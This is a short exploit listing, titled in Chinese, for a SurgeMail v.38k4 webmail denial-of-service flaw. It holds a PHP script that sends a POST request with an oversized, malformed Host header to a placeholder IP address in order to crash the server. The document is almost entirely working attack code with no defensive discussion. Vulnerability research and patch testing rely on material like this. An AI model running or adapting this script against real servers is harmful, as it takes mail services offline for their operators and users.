SurgeMail畸形HOST头字段数据拒绝服务漏洞

                                                <?php
/*
SurgeMail v.38k4 webmail Host header denial of service exploit
tested against the windows version
rgod
*/
dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);
$header ="POST / HTTP/1.0\r\n";
$header.="Host: $puf\r\n";
$header.="Connection: Close\r\n\r\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);
$data = curl_exec($ch); if (curl_errno($ch)) {
print curl_error($ch)."\n";
} else {
curl_close($ch);
}
?>